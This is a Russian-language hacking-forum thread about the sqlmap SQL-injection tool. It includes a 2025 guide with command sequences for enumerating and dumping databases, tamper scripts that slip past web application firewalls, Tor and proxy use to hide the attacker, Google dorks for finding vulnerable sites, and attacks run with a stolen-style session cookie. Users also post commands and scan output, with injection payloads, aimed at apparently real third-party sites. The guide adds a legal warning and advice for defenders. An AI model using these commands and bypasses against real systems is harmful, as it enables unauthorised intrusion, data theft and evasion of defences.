mobius0707
20.09.2018, 11:25
Здравствуйте, небольшой мануал по поиску SQLi в примерах The SQL Injection Knowledge Base
Печально когда доходишь до паролей а там AES
И oпять вызываем уже знакомую процедуру --columns (колоночки) но уже по таблице "user_".
Код:
sqlmap -u http://www.gbhackers.com/cgi-bin/item.cgi?item_id=15 -D gbhackers-T user_info --columns
Далее меня заинтересовало то что в сети находяться 4ре хоста, но в колоночке Избыточность...
https://forum.antichat.xyz/attachments/4865620/1578498912726.png
И что дальше делать?как увидеть логин и пароль?
Яполный ламер,не судите строго.
explorer
08.01.2020, 17:19
B6D4 сказал(а):
И что дальше делать?как увидеть логин и пароль?
Яполный ламер,не судите строго.
sqlmap --random-agent -u http:/site.php?id=1 -D название базы -T название таблицы -C название колонки --dump
или ещё проще, без названия колонки, вытащит сразу все данные изо всех колонок (применять, если данных мало)
sqlmap --random-agent -u http:/site.php?id=1 -D название базы -T название таблицы --dump
Magnit сказал(а):
Объясните или, если не сложно, дайте ссылку где описано, в чем разница в параметрах --level u --risk
Много инфы, да и на практике CTF не один раз валил БД с --level=5 --risk=3
при включении v3 увидел разницу, что при параметре risk=1 не используются where, он требует risk=3, но что к примеру делает risk=2, и levels не понимаю
спасибо за ответ
Тоже хотелось бы подробнее узнать
sith_ortodox
01.03.2020, 11:25
Неплохо бы еще добавлять параметры --tor и --check-tor (добавит немножко анонимности в пентест)
Можно ли эти знания применять определенно на 1 сайт или только, те которые имеют подобный дорк ?
picasoready
19.07.2020, 01:24
самое главное не сказали, а где скачать этот sqlmap
picasoready сказал(а):
самое главное не сказали, а где скачать этот sqlmap
На их официальном сайте. Гугл тебе в помощь. Хотя наверное, это не твое...
Сергей Попов
01.07.2025, 00:03
https://forum.antichat.xyz/attachments/4824716/1751313927036.png
От основ до обхода WAF и защиты. Актуальный гайд на 2025 год.
Sqlmap — это не просто инструмент. Это швейцарский нож пентестера, который превращает рутинный поиск SQL-инъекций в автоматизированный процесс, вплоть до полного захвата сервера. Старые гайды по нему хороши, но мир не стоит на месте: везде стоят WAF, технологии меняются. Поэтому мы собрали здесь всё воедино: классическую базу, современные техники обхода и актуальные советы по защите. Всё в стиле античат — по делу и без воды.
Что умеет sqlmap? Ключевые возможности в 2025 году
Если коротко — sqlmap делает почти всё. Он сам определяет тип уязвимости, подбирает нужный эксплойт и вытаскивает данные. Вот его основной арсенал, актуальный для последних версий:
Поддержка СУБД: Практически всё, что можно встретить в проде. От классики вроде MySQL, PostgreSQL, Oracle, MSSQL до SQLite, MariaDB, ClickHouse и даже экзотики вроде SAP MaxDB. Полный список всегда есть на официальном сайте.
Все 6 техник инъекций: Boolean-blind, Time-blind, Error-based, UNION, Stacked queries, Out-of-band. Инструмент сам определит, какая из них сработает лучше всего.
Прямое подключение к БД: Если у вас уже есть логин и пароль от базы данных, sqlmap может подключиться напрямую, без всяких инъекций, для дальнейшей работы.
Перечисление (Enumeration): Может вытащить информацию о пользователях, хэшах паролей, ролях, привилегиях, базах данных, таблицах и колонках.
Автоматический брутфорс хэшей: Находит хэши паролей и тут же пытается вскрыть их по встроенным словарям.
Дампинг данных: Позволяет скачать всю таблицу, отдельные столбцы или даже отфильтровать данные по вашему запросу.
Работа с файловой системой: Может читать и записывать файлы на сервер, если у пользователя БД есть на это права (актуально для MySQL, PostgreSQL, MSSQL).
Выполнение команд на сервере (
--os-shell
): При определенных условиях можно получить полноценную командную строку на целевом сервере.
Создание Out-of-band каналов: Позволяет установить TCP-сессию между жертвой и атакующим, например, для получения шелла через Meterpreter.
Эскалация привилегий: Интегрируется с Metasploit для повышения привилегий в системе.
Как это работает под капотом: техники инъекций
Sqlmap не просто бездумно шлет запросы. Он действует последовательно, перебирая техники от самых шумных и быстрых к самым медленным и незаметным.
Error-based (На основе ошибок): Самый быстрый способ. Sqlmap пытается вызвать ошибку SQL (
...id=1'
) и парсит ее текст, чтобы извлечь данные. Сработает, только если сайт выводит отладочную информацию, что сегодня уже редкость.
UNION-based (На основе UNION): Классика. Инструмент подбирает правильное количество столбцов в запросе и объединяет его со своим через
UNION ALL SELECT
. Если повезет, данные из базы выводятся прямо на странице.
Boolean-based blind («Слепая» на основе логики): Когда сайт не показывает ошибок и данных, sqlmap начинает играть в игру «горячо-холодно». Он добавляет к запросу условия вроде
AND 1=1
и
AND 1=2
и смотрит, меняется ли страница. Так, по одному байту, он восстанавливает нужную информацию.
Time-based blind («Слепая» на основе времени): Самый медленный, но самый надежный метод. Если ничего другое не помогло, sqlmap добавляет в запрос команду задержки (
SLEEP(5)
). Если ответ сервера приходит с задержкой, значит, условие выполнилось. Это долго, но почти всегда работает.
Stacked queries (Пакетные запросы): Мощнейшая техника, если поддерживается СУБД. Позволяет выполнить несколько запросов за раз, разделив их точкой с запятой (
;
). Именно так можно не только читать, но и изменять данные или выполнять системные команды.
Out-of-band (Внеполосные): Самая продвинутая техника. Заставляет базу данных саму отправить данные на сервер атакующего (например, через DNS-запрос). Требует специфических настроек и прав.
Пробиваемся через WAF: Tamper-скрипты и хитрости
Сегодня почти любой серьезный проект защищен Web Application Firewall (WAF). Прямые атаки sqlmap он легко отобьет. Но и на этот случай у нас есть решение — tamper-скрипты. Это небольшие скрипты, которые на лету изменяют ваши запросы, чтобы обмануть файрвол.
Они умеют:
Кодировать полезную нагрузку (Base64, HEX).
Заменять пробелы на комментарии (
/**/
).
Менять регистр символов (
SeLeCt
).
Вставлять "мусор" и многое другое. Их больше 50 штук!
Пример команды для обхода популярных WAF (вроде Cloudflare, ModSecurity):
Bash:
sqlmap -u
"http://site/?id=1"
--tamper
=
space2comment,randomcase,base64encode --level
=
5
--risk
=
3
--random-agent
Наши советы по обходу:
Начинайте с простого:
space2comment
или
chardump
— классика.
Комбинируйте: Не бойтесь создавать цепочки из нескольких скриптов.
Маскируйтесь: Всегда используйте
--random-agent
, чтобы не палиться по стандартному User-Agent от sqlmap.
Будьте терпеливы: Подбор рабочего tamper-скрипта — это итеративный процесс. Что-то заблокировали? Пробуйте другой.
Используйте прокси: Для сокрытия своего IP и обхода блокировок можно завернуть трафик sqlmap через TOR или цепочку прокси с помощью
proxychains
.
Важнейшие параметры:
--level
и
--risk
Многие новички копируют команды, не понимая этих ключей. А это критически важно.
--level=...
(от 1 до 5): Глубина проверки.
level=1
(по умолчанию): Проверяются только GET и POST параметры.
level=2
: Добавляется проверка Cookie.
level=3
: Добавляется User-Agent и Referer.
level=5
: Проверяется абсолютно всё. Начинайте с
level=5
, чтобы ничего не упустить.
--risk=...
(от 1 до 3): Степень риска.
risk=1
(по умолчанию): Только безобидные запросы.
risk=2
: Добавляются "тяжелые" time-based запросы.
risk=3
: Добавляются запросы, которые могут изменять данные (например,
OR
в
UPDATE
).
Золотое правило:
risk=3
используйте с большой осторожностью! На слабом сервере тяжелые запросы могут вызвать отказ в обслуживании (DoS). Неприятно, правда?
Закон и этика: это не игрушки
Запомните раз и навсегда:
sqlmap
— это инструмент для авторизованного тестирования на проникновение. Его использование на чужих ресурсах без письменного разрешения владельца — это уголовное преступление (в РФ — ст. 272, 273 УК РФ).
Последствия могут быть серьезными:
Уголовная и гражданская ответственность.
Блокировка вашего IP-адреса навсегда.
Проблемы с участием в программах Bug Bounty и карьерой в ИБ.
Если вы серьезно настроены превратить эти навыки в профессию, важно понимать весь путь. Начать можно с подробного руководства на форуме, которое поможет сориентироваться: Руководство для начинающего пентестера: как войти в профессию с нуля (https://forum.antichat.xyz/threads/584955/).Используйте инструмент только если у вас есть официальный договор на пентест или вы действуете в рамках публичной политики Bug Bounty. В остальных случаях — тренируйтесь на специально созданных для этого лабораториях (например, DVWA, bWAPP).
Как начать: пошаговый план
Прежде чем мы перейдем к конкретным командам, полезно понимать, как этот инструмент вписывается в общую картину. Если вы хотите лучше разобраться в том, что такое пентест и чем он отличается от работы Red Team, на форуме есть отличный обзорный материал: Всё о Пентесте и Red Team для новичков в новых реалиях (https://forum.antichat.xyz/threads/584913/).
Шаг 1: Поиск цели (для учебных целей!)
Классические Google Dorks всё ещё работают, но в основном на старых сайтах или в рамках CTF:
Код:
inurl:.php?id=
inurl:product.php?item_id=
inurl:article.php?cat_id=
Сегодня большинство таких URL уже пропатчены. Но для понимания механики это отличный старт.
Шаг 2: Быстрая ручная проверка
Простейший тест — добавить кавычку (
'
) в конец параметра URL:
http://test-site.com/product.php?id=123'
Если в ответ прилетела ошибка SQL — это хороший знак. Если нет — это еще ничего не значит! Уязвимость может быть слепой, и тут-то нам и нужен sqlmap.
Шаг 3: Эксплуатация с помощью sqlmap
Простая проверка и получение списка БД
Bash:
sqlmap -u
"http://test-site.com/product.php?id=123"
--dbs
Получение таблиц из конкретной БД
Bash:
sqlmap -u
"..."
-D target_db --tables
Получение столбцов из таблицы
Bash:
sqlmap -u
"..."
-D target_db -T
users
--columns
Дампинг данных из столбцов
Bash:
sqlmap -u
"..."
-D target_db -T
users
-C username,password --dump
А если сайт требует логин?
В 99% случаев интересные уязвимости находятся за формой входа. Чтобы
sqlmap
работал в авторизованной зоне, ему нужно передать вашу сессионную cookie.
Залогиньтесь на сайте через браузер.
Откройте инструменты разработчика (F12) -> Application/Storage -> Cookies.
Скопируйте значение вашей сессионной cookie (например,
PHPSESSID=a1b2c3d4e5f6
).
Добавьте ее в команду:
Bash:
sqlmap -u
"http://site.com/profile.php?id=1"
--cookie
=
"PHPSESSID=a1b2c3d4e5f6"
--dbs
Еще удобнее — перехватить запрос в Burp Suite, сохранить его в файл
request.txt
и скормить sqlmap:
sqlmap -r request.txt
.
А что насчет API и JSON?
Да,
sqlmap
умеет и это. Если приложение общается через JSON, укажите место для инъекции звездочкой
*
:
Bash:
sqlmap -u
"http://api.site.com/v1/user"
--method
=
POST --data
=
'{"id": 1, "role": "user"}'
--headers
=
"Content-Type: application/json"
-p
"id"
Или просто укажите, какой параметр проверять, с помощью флага
-p
.
Как защититься? Советы для разработчиков
Атаковать весело, но важно уметь и строить крепости. Вот главные правила защиты от SQL-инъекций:
Параметризованные запросы (Prepared Statements): Это золотой стандарт и самый надежный метод. Данные передаются в базу отдельно от самого SQL-запроса, и СУБД просто не может их исполнить. Используйте их всегда. ORM (Object-Relational Mapping) в современных фреймворках делают это по умолчанию.
Принцип наименьших привилегий: Пользователь БД, от имени которого ваше веб-приложение работает с базой, должен иметь минимально необходимые права. Только
SELECT
,
INSERT
,
UPDATE
для своих таблиц. Никаких
FILE
,
SHUTDOWN
или прав администратора (
dbo
).
Хорошо настроенный WAF: Не просто включить "для галочки". WAF должен работать в режиме блокировки, а его правила — регулярно обновляться.
Валидация и фильтрация входных данных: Проверяйте все, что приходит от пользователя. Если ожидается число — убедитесь, что это число. Если email — проверьте его формат регулярным выражением.
Отключение вывода ошибок: На продакшн-сервере пользователи никогда не должны видеть отладочную информацию и тексты ошибок СУБД.
Регулярный аудит и пентесты: Нанимайте специалистов или проводите Bug Bounty программы, чтобы найти дыры раньше, чем их найдут злоумышленники.
Вместо заключения
Sqlmap — это невероятно мощный скальпель в руках специалиста. Но, как и любой инструмент, он требует понимания. Важно не просто заучить команды, а осознавать, что происходит "под капотом", помнить об ответственности и всегда думать на два шага вперед — не только как атаковать, но и как защититься.
Надеюсь, это руководство поможет вам в ваших (легальных!) исследованиях. Успешного пентеста и безопасного кода!
Продолжение: Гайд по SQL-инъекциям: SQLMap + Hashcat (https://forum.antichat.xyz/threads/565033/)
Обновлено и дополнено командой античат на основе официальной документации sqlmap и практического опыта.
sith_ortodox сказал(а):
Неплохо бы еще добавлять параметры --tor и --check-tor (добавит немножко анонимности в пентест)
а смысл? Мы тут всё по договору делаем, легально, боюсь это не требуется)
Parameter: page_id (GET)
Type: boolean-based blind
Title: OR boolean-based blind - WHERE or HAVING clause
Payload: page_id=-6154) OR 5450=5450 AND (8862=8862&=1
Type: UNION query
Title: Generic UNION query (random number) - 8 columns
Payload: page_id=-6697) UNION ALL SELECT 6812,6812,6812,6812,6812,6812,6812,'qjqxq'||'XrrFQ nvzWGtBSHNuZlXbUDgQvCKGcXoHkTZgeAfY'||'qjvkq';--&=1
---
do you want to exploit this SQL injection? [Y/n] Y
[08:14:07] [INFO] testing CrateDB
[08:14:08] [WARNING] the back-end DBMS is not CrateDB
[08:14:08] [INFO] testing MySQL
[08:14:10] [WARNING] the back-end DBMS is not MySQL
[08:14:10] [INFO] testing Oracle
[08:14:11] [WARNING] the back-end DBMS is not Oracle
[08:14:11] [INFO] testing PostgreSQL
[08:14:12] [WARNING] the back-end DBMS is not PostgreSQL
[08:14:12] [INFO] testing Microsoft SQL Server
[08:14:14] [WARNING] the back-end DBMS is not Microsoft SQL Server
[08:14:14] [INFO] testing SQLite
[08:14:15] [WARNING] the back-end DBMS is not SQLite
[08:14:15] [INFO] testing Microsoft Access
[08:14:16] [WARNING] the back-end DBMS is not Microsoft Access
[08:14:16] [INFO] testing Firebird
[08:14:17] [WARNING] the back-end DBMS is not Firebird
[08:14:17] [INFO] testing SAP MaxDB
[08:14:18] [WARNING] the back-end DBMS is not SAP MaxDB
[08:14:18] [INFO] testing Sybase
[08:14:19] [WARNING] the back-end DBMS is not Sybase
[08:14:19] [INFO] testing IBM DB2
[08:14:20] [WARNING] the back-end DBMS is not IBM DB2
[08:14:20] [INFO] testing HSQLDB
[08:14:21] [WARNING] the back-end DBMS is not HSQLDB
[08:14:21] [INFO] testing H2
[08:14:22] [WARNING] the back-end DBMS is not H2
[08:14:22] [INFO] testing Informix
[08:14:23] [WARNING] the back-end DBMS is not Informix
[08:14:23] [INFO] testing MonetDB
[08:14:24] [WARNING] the back-end DBMS is not MonetDB
[08:14:24] [INFO] testing Apache Derby
[08:14:26] [WARNING] the back-end DBMS is not Apache Derby
[08:14:26] [INFO] testing Vertica
[08:14:27] [WARNING] the back-end DBMS is not Vertica
[08:14:27] [INFO] testing Mckoi
[08:14:29] [WARNING] the back-end DBMS is not Mckoi
[08:14:29] [INFO] testing Presto
[08:14:30] [WARNING] the back-end DBMS is not Presto
[08:14:30] [INFO] testing Altibase
[08:14:31] [WARNING] the back-end DBMS is not Altibase
[08:14:31] [INFO] testing MimerSQL
[08:14:32] [WARNING] the back-end DBMS is not MimerSQL
[08:14:32] [INFO] testing ClickHouse
[08:14:32] [WARNING] the back-end DBMS is not ClickHouse
[08:14:32] [INFO] testing Cubrid
[08:14:33] [WARNING] the back-end DBMS is not Cubrid
[08:14:33] [INFO] testing InterSystems Cache
[08:14:34] [WARNING] the back-end DBMS is not InterSystems Cache
[08:14:34] [INFO] testing eXtremeDB
[08:14:35] [WARNING] the back-end DBMS is not eXtremeDB
[08:14:35] [INFO] testing FrontBase
[08:14:37] [WARNING] the back-end DBMS is not FrontBase
[08:14:37] [INFO] testing Raima Database Manager
[08:14:38] [WARNING] the back-end DBMS is not Raima Database Manager
[08:14:38] [INFO] testing Virtuoso
[08:14:39] [WARNING] the back-end DBMS is not Virtuoso
[08:14:39] [ERROR] sqlmap was not able to fingerprint the back-end database management system, skipping to the next target
SQL injection vulnerability has already been detected against 'alwalalyemeni.com'. Do you want to skip further tests involving it? [Y/n] Y
[08:14:39] [INFO] skipping 'من نحن - alwalaly'
[08:14:39] [INFO] skipping '- alwalaly'
[08:14:39] [INFO] skipping 'الوزير - alwalaly'
[08:14:39] [INFO] skipping 'الوعل - alwalaly'
[08:14:39] [INFO] you can find results of scanning in multiple targets mode inside the CSV file 'Local\sqlmap\output\results-11052025_0906pm.csv'
ending @ 08:14:39 /2025-11-06/
Что мне делать дальше? Я не могу обойти защиту.
Valentin_K
25.03.2026, 13:18
Спасибо за гайд. Хорошее объяснение, причем на русском языке.
+ полезные ссылки по пентесту.
Одним словом отличный материал для интересующихся в кибербезе людей)
deniska1986
12.06.2026, 15:15
Я скачивал sqlmap с официального репозитория на GitHub, там всегда свежие версии. Просто поискал "sqlmap github" и загрузил архив или клонировал через git. Там пояснения есть, как запускать, на русском тоже можно найти много гайдов. Главное, не берись сразу за сложные фичи, сначала понять базу.
vBulletin® v3.8.14, Copyright ©2000-2026, vBulletin Solutions, Inc. Перевод: zCarot